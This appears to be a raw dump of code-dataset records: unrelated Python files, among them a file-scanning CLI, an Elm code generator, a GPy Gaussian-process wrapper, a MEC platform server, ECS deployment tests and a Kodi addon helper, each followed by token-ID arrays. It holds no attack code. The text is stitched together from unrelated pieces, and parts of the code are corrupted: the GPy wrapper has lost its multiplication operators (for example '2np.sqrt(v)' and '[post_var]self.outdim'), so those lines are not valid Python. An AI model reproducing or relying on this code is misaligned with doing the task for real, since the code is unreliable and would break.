path output file for storing metadata") parser.add_argument('--ignore-tag', dest='ignore_tags', action='append', help='the tags for ignoring') _args = parser.parse_args(sys.argv[2:]) try: scanner = Scanner(_args.path, _args.output_type, _args.output_file, _args.ignore_tags) scanner.scan_files() scanner.close() except Exception as err: logger.error(err) @staticmethod def stats(): ''' scan directory for collection general stats about files ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--sort-by', dest='sort_by', default='size', choices=['files', 'size'], help="sort output by number or files or size, default: size") args = parser.parse_args(sys.argv[2:]) if not os.path.exists(args.path) or not os.path.isdir(args.path): parser.print_usage() logger.error('The directory does not exist or not directory, {}'.format(args.path)) sys.exit(1) reporter = Reporter(args.path) reporter.print_general_stats() reporter.print_file_extension_stats(args.sort_by) @staticmethod def cleanup(): ''' cleanup filenames according to predefined rules Rules: - extensions shall be in lower case ''' parser = argparse.ArgumentParser(description='scan files into the directory for metadata') parser.add_argument('--path', dest='path', required=True, help="the path to the directory for file scanning") parser.add_argument('--use-lower-case-in-file-ext', action='store_true', default=False, help="use lower case in file extensions, default: False") parser.add_argument('--remove-broken-files', action='store_true', default=False, help="remove broken files") parser.add_argument('--remove-empty-files', action='store_true', default=False, help="remove empty files") parser.add_argument('--remove-empty-directories', action='store_true', default=False, help="remove empty directories") parser.add_argument('--force', action='store_true', default=False, help="apply forced action, default: False") args = parser.parse_args(sys.argv[2:]) if not os.path.exists(args.path) or not os.path.isdir(args.path): parser.print_usage() logger.error('The directory does not exist or not directory, {}'.format(args.path)) sys.exit(1) cleaner = Cleaner(args.path) if args.use_lower_case_in_file_ext: cleaner.use_lower_case_in_file_ext(args.force) if args.remove_broken_files: cleaner.remove_broken_files(args.force) if args.remove_empty_files: cleaner.remove_empty_files(args.force) if args.remove_empty_directories: cleaner.remove_empty_directories(args.force) @staticmethod def info(): logger.warning('Not implemented yet')	[ 1, 529, 9507, 29958, 4351, 29914, 1445, 8504, 29914, 11303, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 13, 5215, 2897, 13, 5215, 10876, 13, 5215, 12183, 13, 5215, 1852, 5510, 13, 13, 3166, 934, 8504, 1053, 3667, 29879, 13, 3166, 934, 8504, 29889, 14941, 261, 1053, 315, 14044, 261, 13, 3166, 934, 8504, 29889, 276, 18505, 1053, 830, 18505, 13, 3166, 934, 8504, 29889, 1557, 7310, 1053, 23412, 13, 3166, 934, 8504, 29889, 3259, 1053, 1873, 13, 13, 13, 7724, 4986, 5607, 29903, 29918, 3308, 10461, 353, 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script/generate-matcher.py	BrianHicks/elm-grapheme	25	138658	#!/usr/bin/env python import argparse import json import os.path as path import sys parser = argparse.ArgumentParser() parser.add_argument('destination') args = parser.parse_args() classes = json.load(sys.stdin) module = args.destination[len('src/'):-len('.elm')].replace('/', '.') class_ = module.split('.')[-1] if class_ not in classes: print('{} not in classes!'.format(class_)) sys.exit(1) out = [] out.append('module {} exposing (chars, match)'.format(module)) out.append('') out.append('{-\| Hey, this module was generated automatically. Please don\'t edit it.') out.append('') out.append('Run `make {}` instead!'.format(args.destination)) out.append('') out.append('-}') out.append('') out.append('import String.Graphemes.Data as Data') out.append('import String.Graphemes.RangeDict as RangeDict exposing (RangeDict)') out.append('import String.Graphemes.RangeDict.Range as Range exposing (Range)') out.append('') out.append('') out.append('match : Char -> Bool') out.append('match c =') out.append(' RangeDict.member c chars') out.append('') out.append('') # CHARS chars = [] def elm_char(char): if char == '\n': return '\\n' elif char == '\r': return '\\r' elif char == '"': return '\\"' elif char == '\\': return '\\\\' elif class_ == 'Control': return '\\u{%s}' % hex(ord(char))[2:].zfill(4) else: return char for (i, match) in enumerate(classes[class_]): if match['kind'] == 'range': chars.append('2{}{}'.format(elm_char(match['start']), elm_char(match['end']))) elif match['kind'] == 'single': chars.append('1{}'.format(elm_char(match['codepoint']))) else: print('I don\'t know how to handle a "{}"!'.format(match['kind'])) sys.exit(1) out.append('chars : RangeDict Char Data.Class') out.append('chars =') out.append(' (Result.withDefault RangeDict.empty << Data.parser Data.{})'.format( class_.replace('_', ''), )) out.append(' "{}"'.format(''.join(chars))) # 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Sampling/gp/GPy_wrapper.py	josephhic/AutoDot	7	28001	import numpy as np import GPy from .GP_interface import GPInterface, convert_lengthscale, convert_2D_format class GPyWrapper(GPInterface): def __init__(self): # GPy settings GPy.plotting.change_plotting_library("matplotlib") # use matpoltlib for drawing super().__init__() self.center = 0.0 def create_kernel(self, ndim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if kernel_name == 'Matern52': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.Matern52(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') elif kernel_name == 'RBF': l = convert_lengthscale(ndim, lengthscale) kernel = GPy.kern.RBF(input_dim=ndim, ARD=True, variance=var_f, lengthscale=l, name='basic') else: raise ValueError('Unsupported kernel: '+ kernel_name) self.ndim = ndim self.kernel = kernel if const_kernel: self.kernel += GPy.kern.Bias(1.0) self.stat_kernel = self.kernel.basic else: self.stat_kernel = self.kernel def set_kernel_length_prior(self, prior_mean, prior_var): if self.ndim != len(prior_mean) or self.ndim != len(prior_var): raise ValueError('Incorrect kernel prior parameters.') if self.kernel is None: raise ValueError('Kernel should be defined first.') for i in range(self.ndim): self.stat_kernel.lengthscale[[i]].set_prior(GPy.priors.Gamma.from_EV(prior_mean[i],prior_var[i])) # don't know why, but [i] does not work def set_kernel_var_prior(self, prior_mean, prior_var): self.stat_kernel.variance.set_prior(GPy.priors.Gamma.from_EV(prior_mean,prior_var)) def fix_kernel_lengthscale(self): self.stat_kernel.lengthscale.fix() def fix_kernel_var(self): self.stat_kernel.variance.fix() def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center self.outdim = y.shape[1] noise_var = np.array(noise_var) if noise_var.ndim == 0: self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) noise = self.model.Gaussian_noise else: assert noise_var.shape == y.shape self.model = GPy.models.GPHeteroscedasticRegression(x, y, self.kernel) self.model['.het_Gauss.variance'] = noise_var noise = self.model.het_Gauss.variance if noise_prior == 'fixed': noise.fix() else: raise ValueError('Not Implemented yet.') def predict_f(self, x, full_cov=False): ''' Returns: posterior mean, posterior variance ''' x = convert_2D_format(x) post_mean, post_var = self.model.predict_noiseless(x, full_cov=full_cov) if self.outdim > 1: post_var = np.concatenate([post_var]self.outdim, axis=-1) return post_mean + self.center, post_var def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. ''' x = convert_2D_format(x) m, v = self.model.predict(x) v = np.clip(v, 1e-10, np.inf) dmdx, dvdx = self.model.predictive_gradients(x) dmdx = dmdx[:,:,0] dsdx = dvdx / (2np.sqrt(v)) return m + self.center, np.sqrt(v), dmdx, dsdx def posterior_sample_f(self, x, size = 10): ''' Parameters x: (Nnew x input_dim) Returns (Nnew x output_dim x samples) ''' return self.model.posterior_samples_f(x, size) + self.center def optimize(self, num_restarts=30, opt_messages=False, print_result=True, parallel=False): self.model.optimize_restarts(num_restarts=num_restarts, robust=True, parallel=False, messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) print(self.stat_kernel.variance) class GPyWrapper_Classifier(GPyWrapper): def create_model(self, x, y): assert self.center == 0.0 x = convert_2D_format(x) y = convert_2D_format(y) self.outdim = y.shape[1] self.model = GPy.models.GPClassification(x, y, self.kernel) def predict_prob(self, x): x = convert_2D_format(x) prob = self.model.predict(x, full_cov=False)[0] return prob def optimize(self, maxiter=1000, opt_messages=False, print_result=True): for i in range(5): self.model.optimize(max_iters=int(maxiter/5), messages=opt_messages) if print_result: print(self.kernel) print(self.stat_kernel.lengthscale) class GPyWrapper_MultiSeparate(object): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): if isinstance(kernel_name, str): kernel_name = [kernel_name]outdim if np.isscalar(var_f): var_f = np.ones(outdim) * var_f if np.isscalar(lengthscale): var_f = np.ones(outdim) * lengthscale if isinstance(const_kernel, bool): const_kernel = [const_kernel]outdim self.gp_list = list() for i in range(outdim): gp = GPyWrapper() gp.create_kernel(ndim, kernel_name[i], var_f[i], lengthscale[i], const_kernel[i]) self.gp_list.append(gp) self.outdim = outdim def set_kernel_length_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_length_prior(prior_mean, prior_var) def set_kernel_var_prior(self, prior_mean, prior_var): # Apply same prior for all outputs for i in range(self.outdim): self.gp_list[i].set_kernel_var_prior(prior_mean, prior_var) def fix_kernel_lengthscale(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_lengthscale() def fix_kernel_var(self): for i in range(self.outdim): self.gp_list[i].fix_kernel_var() def create_model(self, x, y, noise_var, noise_prior='fixed'): if not (y.ndim == 2 and y.shape[1] == self.outdim): raise ValueError('Incorrect data shape.') noise_var = np.array(noise_var) for i in range(self.outdim): if noise_var.ndim == 2 and noise_var.shape[1] == self.outdim: noise_var_i = noise_var[:, i:i+1] else: noise_var_i = noise_var gp = self.gp_list[i] gp.create_model(x, y[:,i:i+1], noise_var_i, noise_prior) def predict_f(self, x, full_cov=False): post_mean_all = list() post_var_all = list() for i in range(self.outdim): post_mean, post_var = self.gp_list[i].predict_f(x, full_cov) post_mean_all.append(post_mean) post_var_all.append(post_var) return np.concatenate(post_mean_all,axis=-1), np.concatenate(post_var_all,axis=-1) def posterior_sample_f(self, x, size = 10): post_samples_all = list() for i in range(self.outdim): post_samples = self.gp_list[i].predict_f(x, full_cov) post_samples_all.append(post_samples) return np.concatenate(post_samples_all,axis=1) def optimize(self, num_restarts=30, opt_messages=False, print_result=False): for i in range(self.outdim): self.gp_list[i].optimize(num_restarts, opt_messages, print_result) def predict_withGradients(self, x): ''' Borrowed from https://github.com/SheffieldML/GPyOpt/blob/master/GPyOpt/models/gpmodel.py Returns the mean, standard deviation, mean gradient and standard deviation gradient at X. m_all: (num_x, outdim) std_all: (num_x, outdim) dmdx_all: (num_x, outdim, n_dim) dsdx_all: (num_x, outdim, n_dim) ''' m_all, std_all, dmdx_all, dsdx_all = [], [], [], [] for i in range(self.outdim): m, std, dmdx, dsdx = self.gp_list[i].predict_withGradients(x) m_all.append(m) std_all.append(std) dmdx_all.append(dmdx) dsdx_all.append(dsdx) return np.concatenate(m_all,axis=-1), np.concatenate(std_all,axis=-1), np.stack(dmdx_all,axis=1), np.stack(dsdx_all,axis=1) class GPyWrapper_MultiIndep(GPyWrapper): def create_kernel(self, ndim, outdim, kernel_name, var_f=1.0, lengthscale=1.0, const_kernel=False): super().create_kernel(ndim, kernel_name, var_f, lengthscale, const_kernel) k_multi = GPy.kern.IndependentOutputs([self.kernel, self.kernel.copy()]) #icm = GPy.util.multioutput.ICM(input_dim=ndim, num_outputs=outdim, kernel=self.kernel) #icm.B.W.constrain_fixed(0) # fix W matrix to 0 if const_kernel: self.stat_kernel = k_multi.sum.basic else: self.stat_kernel = k_multi.basic self.kernel = k_multi print(self.kernel) def create_model(self, x, y, noise_var, noise_prior='fixed'): x = convert_2D_format(x) y = convert_2D_format(y) - self.center numdata = x.shape[0] outdim = y.shape[1] indim = x.shape[1] yy = y.transpose().ravel() ind = np.concatenate([ onp.ones(numdata) for o in range(outdim)]) xx = np.concatenate([x]outdim) xx = np.concatenate((xx,ind[:,np.newaxis]), axis=1) print(xx.shape, yy.shape) self.model = GPy.models.GPRegression(x, y, self.kernel, noise_var=noise_var) if noise_prior == 'fixed': self.model.Gaussian_noise.fix() else: raise ValueError('Not Implemented yet.') def create_GP(num_active_gates, outdim, k_name='Matern52', var_f=1.0, lengthscale=1.0, center=0.0): if np.isscalar(lengthscale): lengthscale = np.ones(num_active_gates) gp = GPyWrapper() # initialize GP environment #gp = GPyWrapper_MultiIndep() # initialize GP environment gp.center = center # GP kernels gp.create_kernel(num_active_gates, k_name, var_f, lengthscale) #gp.create_kernel(num_active_gates, outdim, k_name, var_f, lengthscale) return gp def main(): X = np.arange(1,6).reshape((5,1)) f = lambda x : np.square(x-4.0) #Y = np.concatenate([f(X), -f(X)], axis=1) Y = np.concatenate([f(X)], axis=1) #noise_var = 0.012 #noise_var = np.concatenate([np.square(X / 10.)]2, axis=1) noise_var = np.square(X / 10.) print(X.shape, Y.shape) gp = create_GP(1, 2, 'Matern52', 2.0, 1.0, 0.0) gp.create_model(X, Y, noise_var, noise_prior='fixed') gp.optimize() X_pred = np.linspace(1.,5.,10).reshape((-1,1)) mean, cov = gp.predict_f(X_pred) print(mean) #print(cov) ''' ### # GP Classification test ### X = np.arange(1,6).reshape((5,1)) Y = np.array([1.0, 1.0, 1.0, 0.0, 0.0]).reshape((5,1)) gpc = GPyWrapper_Classifier() gpc.create_kernel(1, 'RBF', 1.0, 1.0) gpc.create_model(X, Y) X_pred = np.linspace(1.,5.,10).reshape((-1,1)) print(gpc.predict_prob(X_pred)) print(gpc.model) gpc.optimize() print(gpc.predict_prob(X_pred)) print(gpc.model) ''' if __name__ == '__main__': main()	[ 1, 1053, 12655, 408, 7442, 13, 13, 5215, 402, 19737, 13, 13, 3166, 869, 19903, 29918, 13248, 1053, 28258, 10448, 29892, 3588, 29918, 2848, 7052, 29892, 3588, 29918, 29906, 29928, 29918, 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finalProject_nknySystem/Project/NKNUSystemBackend/Tests/WebSocketTest/ServerUnitTest.py	JE-Chen/je_old_repo	3	1604404	<reponame>JE-Chen/je_old_repo<gh_stars>1-10 import sys import time import unittest import JEWebSocket class TestServer(unittest.TestCase): def tearDown(self) -> None: pass def setUp(self) -> None: pass def testServer(self): websocket = JEWebSocket.WebsocketServer("localhost", 5555) time.sleep(3)	[ 1, 529, 276, 1112, 420, 29958, 29967, 29923, 29899, 1451, 264, 29914, 1324, 29918, 1025, 29918, 20095, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 5215, 10876, 30004, 13, 5215, 931, 30004, 13, 5215, 443, 27958, 30004, 13, 30004, 13, 5215, 435, 29923, 3609, 11373, 30004, 13, 30004, 13, 30004, 13, 1990, 4321, 6004, 29898, 348, 27958, 29889, 3057, 8259, 1125, 30004, 13, 30004, 13, 1678, 822, 734, 279, 6767, 29898, 1311, 29897, 1599, 6213, 29901, 30004, 13, 4706, 1209, 30004, 13, 30004, 13, 1678, 822, 731, 3373, 29898, 1311, 29897, 1599, 6213, 29901, 30004, 13, 4706, 1209, 30004, 13, 30004, 13, 1678, 822, 1243, 6004, 29898, 1311, 1125, 30004, 13, 4706, 1856, 11514, 353, 435, 29923, 3609, 11373, 29889, 3609, 11514, 6004, 703, 7640, 613, 29871, 29945, 29945, 29945, 29945, 8443, 13, 4706, 931, 29889, 17059, 29898, 29941, 8443, 13, 2 ]
mepserver/main.py	ATNoG/netedge-mep	0	199523	# Copyright 2022 Instituto de Telecomunicações - Aveiro # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from mp1.service_mgmt.controllers.app_subscriptions_controller import ( ApplicationSubscriptionsController, ) from mp1.service_mgmt.controllers.app_services_controller import ( ApplicationServicesController, ) from mp1.service_mgmt.controllers.services_controller import ServicesController from mp1.service_mgmt.controllers.transports_controller import TransportsController # Application Support Controllers from mp1.application_support.controllers.app_confirmation_controller import ( ApplicationConfirmationController, ) from mp1.databases.database_base import DatabaseBase from mp1.databases.dbmongo import MongoDb from typing import Type import cherrypy import argparse from mp1.utils import check_port def main(database: Type[DatabaseBase]): ################################## # Application support interface # ################################## support_dispatcher = cherrypy.dispatch.RoutesDispatcher() ##################################### # Application ready and termination # ##################################### support_dispatcher.connect( name="Application Ready Notification", action="application_confirm_ready", controller=ApplicationConfirmationController, route="/applications/:appInstanceId/confirm_ready", conditions=dict(method=["POST"]), ) support_dispatcher.connect( name="Application termination request", action="application_confirm_termination", controller=ApplicationConfirmationController, route="/applications/:appInstanceId/confirm_termination", conditions=dict(method=["POST"]), ) ############################################# # Application service management interface # ############################################# mgmt_dispatcher = cherrypy.dispatch.RoutesDispatcher() # Todo load from config file ####################################### # Application Subscription Controller # ####################################### mgmt_dispatcher.connect( name="Get an applicationInstanceId Subscriptions", action="applications_subscriptions_get", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Get an applicationInstanceId Subscriptions", action="applications_subscriptions_get_with_subscription_id", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions/:subscriptionId", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Create applicationInstanceId Subscriptions", action="applications_subscriptions_post", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions", conditions=dict(method=["POST"]), ) mgmt_dispatcher.connect( name="Delete applicationInstanceID Subscriptions with subscriptionId", action="applications_subscriptions_delete", controller=ApplicationSubscriptionsController, route="/applications/:appInstanceId/subscriptions/:subscriptionId", conditions=dict(method=["DELETE"]), ) ################################### # Application Services Controller # ################################### mgmt_dispatcher.connect( name="Get service from InstanceId and parameters", action="applications_services_get", controller=ApplicationServicesController, route="/applications/:appInstanceId/services", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Create service for InstanceId", action="applications_services_post", controller=ApplicationServicesController, route="/applications/:appInstanceId/services", conditions=dict(method=["POST"]), ) mgmt_dispatcher.connect( name="Get service from InstanceId and ServiceId", action="applicaton_services_get_with_service_id", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Put data into existing service", action="application_services_put", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["PUT"]), ) mgmt_dispatcher.connect( name="Delete service", action="application_services_delete", controller=ApplicationServicesController, route="/applications/:appInstanceId/services/:serviceId", conditions=dict(method=["DELETE"]), ) ####################### # Services Controller # ####################### mgmt_dispatcher.connect( name="Get services", action="services_get", controller=ServicesController, route="/services", conditions=dict(method=["GET"]), ) mgmt_dispatcher.connect( name="Get services with serviceId", action="services_get_with_serviceId", controller=ServicesController, route="/services/:serviceId", conditions=dict(method=["GET"]), ) ######################## # Transport Controller # ######################## mgmt_dispatcher.connect( name="Get transports", action="transports_get", controller=TransportsController, route="/transports", conditions=dict(method=["GET"]), ) cherrypy.config.update( {"server.socket_host": "0.0.0.0", "server.socket_port": 8080} ) supp_conf = {"/": {"request.dispatch": support_dispatcher}} cherrypy.tree.mount(None, "/mec_app_support/v1", config=supp_conf) mgmt_conf = {"/": {"request.dispatch": mgmt_dispatcher}} cherrypy.tree.mount(None, "/mec_service_mgmt/v1", config=mgmt_conf) ###################################### # Database Connection to all threads # ###################################### if isinstance(database, DatabaseBase): cherrypy.engine.subscribe("start_thread", database.connect) cherrypy.engine.start() else: cherrypy.log("Invalid database provided to MEP. Shutting down.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Multi-Access Edge Computing Platform") parser.add_argument("--mongodb_addr", help="MongoDB Address", default="127.0.0.1") parser.add_argument( "--mongodb_port", type=check_port, help="MongoDB port", default=27017 ) parser.add_argument( "--mongodb_database", help="Database inside MongoDB", default="mep" ) parser.add_argument("--mongodb_password", help="<PASSWORD>") parser.add_argument("--mongodb_username", help="Username to acces MongoDB") args = parser.parse_args() # TODO should be loaded form config file # TODO same as therest of the dispatcher main(MongoDb(args.mongodb_addr, args.mongodb_port, args.mongodb_database))	[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29906, 29906, 20314, 316, 9699, 510, 348, 983, 5616, 448, 319, 345, 3350, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 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tests/test_prepareDeploymentContainerDefinitionsStep.py	AdventielFr/ecs-crd-cli	1	20034	import pytest from unittest.mock import MagicMock import logging from ecs_crd.canaryReleaseInfos import CanaryReleaseInfos from ecs_crd.prepareDeploymentContainerDefinitionsStep import PrepareDeploymentContainerDefinitionsStep from ecs_crd.canaryReleaseInfos import ScaleInfos logger = logging.Logger('mock') infos = CanaryReleaseInfos(action='test') step = PrepareDeploymentContainerDefinitionsStep(infos, logger) def test_process_container_name_valid(): # default source = {} target = {} step._process_container_name(source, target) target['Name'] == 'default' # with name source = {} source['name']='test' target = {} step._process_container_name(source, target) target['Name'] == source['name'] def test_process_container_name_valid(): # default source = {} target = {} step.infos.account_id='123456789' step.infos.region='eu-west-3' step.infos.service_name='service' step.infos.service_version='latest' step._process_container_image(source, target) assert target['Image'] == '123456789.dkr.ecr.eu-west-3.amazonaws.com/service:latest' # with name source = {} source['image']='test' target = {} step._process_container_image(source, target) assert target['Image'] == source['image'] def test_process_container_cpu_invalid(): source = {} source['cpu'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_cpu(source, target) def test_process_container_cpu_valid(): source = {} target = {} # default value step._process_container_cpu(source, target) assert target['Cpu'] == 128 # set value source['cpu'] = 256 target = {} step._process_container_cpu(source, target) assert target['Cpu'] == source['cpu'] def test_process_container_entry_point_valid(): source = {} source['entry_point']=[] source['entry_point'].append('a') source['entry_point'].append('b') target = {} step._process_container_entry_point(source, target) assert target['EntryPoint'] == 'a,b' def test_process_container_entry_point_invalid(): source = {} source['entry_point']='a' target = {} with pytest.raises(ValueError): step._process_container_entry_point(source, target) def test_process_container_command_valid(): source = {} source['command']=[] source['command'].append('a') source['command'].append('b') target = {} step._process_container_command(source, target) assert len(target['Command'])==2 assert target['Command'][0] == 'a' assert target['Command'][1] == 'b' def test_process_container_command_invalid(): source = {} source['command']='b' target = {} with pytest.raises(ValueError): step._process_container_command(source, target) def test_process_container_dns_search_domains_valid(): source = {} source['dns_search_domains']=[] source['dns_search_domains'].append('a') source['dns_search_domains'].append('b') target = {} step._process_container_dns_search_domains(source, target) assert len(target['DnsSearchDomains'])==2 assert target['DnsSearchDomains'][0] == 'a' assert target['DnsSearchDomains'][1] == 'b' def _process_container_dns_search_domains_invalid(): source = {} source['dns_search_domains']='b' target = {} with pytest.raises(ValueError): step._process_container_dns_search_domains(source, target) def test_process_container_disable_networking_valid(): source = {} source['disable_networking'] = True target = {} step._process_container_disable_networking(source, target) assert target['DisableNetworking'] == source['disable_networking'] source = {} source['disable_networking'] = False target = {} step._process_container_disable_networking(source, target) assert target['DisableNetworking'] == source['disable_networking'] def _process_container_disable_networking_invalid(): source = {} source['disable_networking']='b' target = {} with pytest.raises(ValueError): step._process_container_disable_networking(source, target) def test_process_container_dns_servers_valid(): source = {} source['dns_servers']=[] source['dns_servers'].append('a') source['dns_servers'].append('b') target = {} step._process_container_dns_servers(source, target) assert len(target['DnsServers'])==2 assert target['DnsServers'][0] == 'a' assert target['DnsServers'][1] == 'b' def _process_container_dns_servers_invalid(): source = {} source['dns_servers']='b' target = {} with pytest.raises(ValueError): step._process_container_dns_servers(source, target) def test_process_container_start_timeout_invalid(): source = {} source['start_timeout'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_start_timeout(source, target) def test_process_container_start_timeout_valid(): source = {} source['start_timeout']=60 target = {} step._process_container_start_timeout(source, target) assert target['StartTimeout'] == source['start_timeout'] def test_process_container_stop_timeout_invalid(): source = {} source['stop_timeout'] = 'a' target = {} with pytest.raises(ValueError): step._process_container_stop_timeout(source, target) def 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SOAPapi/conftest.py	altazur/PythonAutomationExamples	0	142562	<reponame>altazur/PythonAutomationExamples<filename>SOAPapi/conftest.py from CalculatorSOAP import Calculator import pytest @pytest.fixture def get_calculator(): calculator = Calculator() yield calculator def pytest_addoption(parser): parser.addoption('--SOAPver', default='1.1', help='SOAP version: 1 or 2') @pytest.fixture def soap_version(request): return request.config.getoption('--SOAPver')	[ 1, 529, 276, 1112, 420, 29958, 1997, 834, 332, 29914, 11980, 28451, 362, 1252, 9422, 29966, 9507, 29958, 6156, 3301, 2754, 29914, 535, 615, 342, 29889, 2272, 13, 3166, 20535, 1061, 6156, 3301, 1053, 20535, 1061, 13, 5215, 11451, 1688, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 13, 1753, 679, 29918, 15807, 1061, 7295, 13, 1678, 3408, 1061, 353, 20535, 1061, 580, 13, 1678, 7709, 3408, 1061, 13, 13, 1753, 11451, 1688, 29918, 1202, 3385, 29898, 16680, 1125, 13, 1678, 13812, 29889, 1202, 3385, 877, 489, 6156, 3301, 369, 742, 2322, 2433, 29896, 29889, 29896, 742, 1371, 2433, 6156, 3301, 1873, 29901, 29871, 29896, 470, 29871, 29906, 1495, 13, 13, 29992, 2272, 1688, 29889, 7241, 15546, 13, 1753, 29559, 29918, 3259, 29898, 3827, 1125, 13, 1678, 736, 2009, 29889, 2917, 29889, 657, 3385, 877, 489, 6156, 3301, 369, 1495, 13, 2 ]
geosolver/utils/run_utils.py	mhrmm/geosolver	83	53794	from geosolver.utils.prep import sentence_to_words_statements_values __author__ = 'minjoon' def test_prep(): paragraph = r"If \sqrt{x+5}=40.5, what is x+5?" print(sentence_to_words_statements_values(paragraph)) if __name__ == "__main__": test_prep()	[ 1, 515, 1737, 359, 324, 369, 29889, 13239, 29889, 15287, 1053, 10541, 29918, 517, 29918, 9303, 29918, 6112, 4110, 29918, 5975, 13, 13, 1649, 8921, 1649, 353, 525, 1195, 2212, 265, 29915, 13, 13, 1753, 1243, 29918, 15287, 7295, 13, 1678, 14880, 353, 364, 29908, 3644, 320, 3676, 29912, 29916, 29974, 29945, 5369, 29946, 29900, 29889, 29945, 29892, 825, 338, 921, 29974, 29945, 3026, 13, 1678, 1596, 29898, 18616, 663, 29918, 517, 29918, 9303, 29918, 6112, 4110, 29918, 5975, 29898, 26956, 876, 13, 13, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1243, 29918, 15287, 580, 13, 2 ]
plugin.video.rebirth/resources/lib/modules/libtools.py	TheWardoctor/wardoctors-repo	1	14868	# -- coding: utf-8 -- ################################################################################ # \| # # \| ______________________________________________________________ # # \| :~8a.`~888a:::::::::::::::88......88:::::::::::::::;a8~".a88::\| # # \| ::::~8a.`~888a::::::::::::88......88::::::::::::;a8~".a888~:::\| # # \| :::::::~8a.`~888a:::::::::88......88:::::::::;a8~".a888~::::::\| # # \| ::::::::::~8a.`~888a::::::88......88::::::;a8~".a888~:::::::::\| # # \| :::::::::::::~8a.`~888a:::88......88:::;a8~".a888~::::::::::::\| # # \| :::::::::::: :~8a.`~888a:88 .....88;a8~".a888~:::::::::::::::\| # # \| :::::::::::::::::::~8a.`~888......88~".a888~::::::::::::::::::\| # # \| 8888888888888888888888888888......8888888888888888888888888888\| # # \| ..............................................................\| # # \| ..............................................................\| # # \| 8888888888888888888888888888......8888888888888888888888888888\| # # \| ::::::::::::::::::a888~".a88......888a."~8;:::::::::::::::::::\| # # \| :::::::::::::::a888~".a8~:88......88~888a."~8;::::::::::::::::\| # # \| ::::::::::::a888~".a8~::::88......88:::~888a."~8;:::::::::::::\| # # \| :::::::::a888~".a8~:::::::88......88::::::~888a."~8;::::::::::\| # # \| ::::::a888~".a8~::::::::::88......88:::::::::~888a."~8;:::::::\| # # \| :::a888~".a8~:::::::::::::88......88::::::::::::~888a."~8;::::\| # # \| a888~".a8~::::::::::::::::88......88:::::::::::::::~888a."~8;:\| # # \| # # \| Rebirth Addon # # \| Copyright (C) 2017 Cypher # # \| # # \| This program is free software: you can redistribute it and/or modify # # \| it under the terms of the GNU General Public License as published by # # \| the Free Software Foundation, either version 3 of the License, or # # \| (at your option) any later version. # # \| # # \| This program is distributed in the hope that it will be useful, # # \| but WITHOUT ANY WARRANTY; without even the implied warranty of # # \| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # # \| GNU General Public License for more details. # # \| # ################################################################################ try: from sqlite3 import dbapi2 as database except: from pysqlite2 import dbapi2 as database import datetime import json import os import re import sys import urllib import urlparse import xbmc from resources.lib.modules import control from resources.lib.modules import cleantitle class lib_tools: @staticmethod def create_folder(folder): try: folder = xbmc.makeLegalFilename(folder) control.makeFile(folder) try: if not 'ftp://' in folder: raise Exception() from ftplib import FTP ftparg = re.compile('ftp://(.+?):(.+?)@(.+?):?(\d+)?/(.+/?)').findall(folder) ftp = FTP(ftparg[0][2], ftparg[0][0], ftparg[0][1]) try: ftp.cwd(ftparg[0][4]) except: ftp.mkd(ftparg[0][4]) ftp.quit() except: pass except: pass @staticmethod def write_file(path, content): try: path = xbmc.makeLegalFilename(path) if not isinstance(content, basestring): content = str(content) file = control.openFile(path, 'w') file.write(str(content)) file.close() except Exception as e: pass @staticmethod def nfo_url(media_string, ids): tvdb_url = 'http://thetvdb.com/?tab=series&id=%s' tmdb_url = 'https://www.themoviedb.org/%s/%s' imdb_url = 'http://www.imdb.com/title/%s/' if 'tvdb' in ids: return tvdb_url % (str(ids['tvdb'])) elif 'tmdb' in ids: return tmdb_url % (media_string, str(ids['tmdb'])) elif 'imdb' in ids: return imdb_url % (str(ids['imdb'])) else: return '' @staticmethod def check_sources(title, year, imdb, tvdb=None, season=None, episode=None, tvshowtitle=None, premiered=None): try: from resources.lib.modules import sources src = sources.sources().getSources(title, year, imdb, tvdb, season, episode, tvshowtitle, premiered) return src and len(src) > 